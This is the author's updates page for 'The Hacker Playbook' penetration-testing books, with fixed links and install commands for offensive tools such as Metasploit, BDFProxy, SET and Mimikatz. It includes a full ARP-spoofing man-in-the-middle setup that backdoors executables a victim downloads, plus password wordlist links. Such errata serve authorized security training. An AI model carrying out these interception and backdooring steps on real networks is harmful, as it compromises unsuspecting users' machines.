Book Updates

The Hacker Playbook 3 Updates

05/02/2018

To make things easier, all updates for THP3 will be posted here: https://github.com/cheetz/THP3_Updates.

The Hacker Playbook 2 Updates

05/02/2018

securepla.net

If you trying to access the old blog hosted on securepla.net, it's now moved to blog.securepla.net. For example, if you are still looking for the Evade code, try: blog.securepla.net/download/evade.zip and http://blog.securepla.net/download/evade.txt (python source code).

Free Radius Update

Looks like the patch is no longer available (wget http://willhackforsushi.com/code/freeradius-wpe-2.1.12.patch)
New link:
wget https://raw.githubusercontent.com/brad-anton/freeradius-wpe/master/freeradius-wpe.patch
Also, If you get an error about: radiusd: error while loading shared libraries: libfreeradius-radius-2.1.12.so
Run: ldconfig

Kali Metasploit Logging

In the new version of Kali 2.0, I think the msfconsole.rc was moved from /root/.msf4/msfconsole.rc to /root/.msf5/msfconsole.rc. To configure Metasploit command logging, use the command: echo "spool /root/msf_console.log" > /root/.msf5/msfconsole.rc
Thanks Ronnie!

BackDoor Factory Proxy

It looks like the book was missing a configuration setting for the BackDoor Factory Proxy (BDFProxy). Make sure in the configuration to modify transparentProxy = transparent. Here's what the full installing and implementation on a fresh Kali image will look like:
apt-get update
apt-get install bdfproxy
apt-get install mitmproxy
apt-get install python-openssl

apt-get install openssl

Modify the Config:
vi /etc/bdfproxy/bdfproxy.cfg

- Change all HOST IPs to your Kali IP
- Change transparentProxy = transparent

Start BDFProxy:
bdfproxy

Start the Meterpreter Resource File:
msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc

Arp Stuff:
sysctl -w net.inet.ip_forwarding=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t victim-ip gateway-ip
arpspoof -i eth0 -t gateway-ip victim-ip

And you should be all set. Give it a try by downloading and executing a 32 bit version of Winrar (example: http://www.rarlab.com/rar/wrar521.exe) from your victim host. Watch the shells fall from the sky!
Thanks Joseph from Canada!

BackDoor Factory Installation

In the tools installation page, there is a directory folder missing for The Backdoor Factory. Replace:
cd the-backdoor-factory
with:
cd /opt/the-backdoor-factory
Thanks AJ and Kevin!

Metasploit Start - The Setup Phase

If you are using Kali 2.0, they have removed Metasploit Community/Pro from their image (https://www.kali.org/releases/kali-linux-20-released/). Therefore, they do not have a service called metasploit anymore.
In the book's setup phase, there is a section about having to start and stop the metasploit service to build the db (service metasploit start). Instead of this command, just run: msfdb init. That will build the database.
Thanks Jack!

Discover Tool - Passive Scan

As Kali 2.0 broke some tools, I've been trying to find fixes for what I can. The Discover module had goofile broken with the update. To fix this issue in Kali 2.0, run the following commands:

```
wget "https://goofile.googlecode.com/files/goofilev1.5.zip"
unzip -p goofilev1.5.zip goofilev1.5/goofile.py > /usr/bin/goofile && chmod +x /usr/bin/goofile
```

Thanks Julien!

Also, I noticed Discover changed their installation script. In the PREGAME - THE SETUP.

OLD:
git clone https://github.com/leebaird/discover.git /opt/discover
cd /opt/discover && ./setup.sh
NEW:
git clone https://github.com/leebaird/discover.git /opt/discover
cd /opt/discover && ./update.sh

Recon-NG

Looks like Kali 2.0 broke Recon-NG. If you get the following error "Module 'recon/domains-contacts/metacrawler' disabled. Dependency required: 'PyPDF2'" in Kali 2.0, run the following commands:

pip install PyPDF2
pip install olefile

Thanks Pamela!

GitRob

Tiny change configuring GitRob. When running the command: ./gitrob --configure, they now specify the database port. For postgres use port: 5432:

OpenVAS

Looks like a few small changes with Kali 2 on the Setup Phase.
Create Account (instead of openvas-adduser):
openvasmd --user=admin --new-password=admin

Login (instead of gsd):
Go to the browser to: https://127.0.0.1:9392

DSHashes

Looks like DSHashes might have been removed from ptscripts.googlecode.com svn.

Download the old archive from https://storage.googleapis.com/google-code-archive-source/v2/code.google.com/ptscripts/source-archive.zip and move dshashes.py to /opt/NTDSXtract/dshashes.py

All Updates From The Hacker Playbook 1

05/02/2018

Updates from The Hacker Playbook 1: Page 12 for Installing Social Engineering Toolkit
Looks like there was a change to SET on page 12
Here is the updated GIT Command:
git clone https://github.com/trustedsec/social-engineer-toolkit.git set/

Saving Custom Password Lists (Page 10) - 2nd UPDATE
Looks like the old link is now dead:
https://mega.co.nz/#!3VZiEJ4L!TitrTiiwygI2I_7V2bRWBH6rOqlcJ14tSjss2qR5dqo

Try these other links:
https://mega.co.nz/#!VIwSmYhL!Q_u0io3nSxIeVnquONJcfb7D7aO0_fpi9SxSchR1mTM
http://www.filedropper.com/crackstation-human-onlytxt
https://www.dropbox.com/s/ucreldsa3qt1rms/crackstation-human-only.txt.gz?dl=0
Thanks Andreas for letting me know!

Start Metasploit on Page 7 The line: "service Metasploit start" should be:
service metasploit start
(Thanks John)

Changes have been made to PeepingTom and I've had problems with the new version. I have included the old version here: On your Kali Linux Box, run the following commands from a terminal:
cd /opt/

wget http://thehackerplaybook.com/Download/peepingtom.zip
unzip peepingtom.zip
cd peepingtom
chmod +x *

Huge List of Optional Tools: On your Kali Linux Box, run the following commands from a terminal:
mkdir /opt/gitlist/
cd /opt/gitlist
git clone https://github.com/macubergeek/gitlist.git
cd gitlist
chmod +x gitlist.sh
./gitlist.sh

Install bypassuac Update The book points to:
wget http://www.secmaniac.com/files/bypassuac.zip
to download the bypassuac files, but the updated link should be:
http://thehackerplaybook.com/Download/bypassuac.zip
Thanks Patrick!

Nishang has moved: Page 16 Nishang has moved over to github. Instead of:
https://code.google.com/p/nishang/downloads/list
Try:
https://github.com/samratashok/nishang

Thanks Don!

SMBExec Update - Page 8 SMBExec updated and has a new Git Repo. So instead of:

git clone https://github.com/brav0hax/smbexec.git
Try:
git clone https://github.com/pentestgeek/smbexec.git

PowerShell Invoke-Shellcode - Meterpreter If you've been hard coding your Invoke-Shellcode.ps1 files to download and execute from github (Originally found here:https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1), make sure you grab the newest one as the original is not working (on purpose). As stated by mattifestation, you shouldn't blindly run a remote powershell script from github. If you need to, fork it!
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1

Obscure System's Post Exploitation Link Fixed On Page 121 Obscure System's Post Exploitation:
http://bit.ly/18dvL0I
Thanks Joe

Index to Hacker Playbook Thanks to Joe, he put together an index for The Hacker Playbook!!!
http://www.cise.ufl.edu/~jnw/thehackerplaybookindex/

Free Radius Update - Page 205 Looks like free radius changed their website. Change:

wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12. tar.bz2

To:

wget ftp://ftp.freeradius.org/pub/freeradius/old/freeradius-server-2.1.12.tar.bz2

Thanks Jason!

Mimikatz Binary Update:

https://github.com/gentilkiwi/mimikatz/releases/latest

GET IN TOUCH

If you would like to get in touch with the author or have general inquiries about the book

book@thehackerplaybook.com
@HackerPlaybook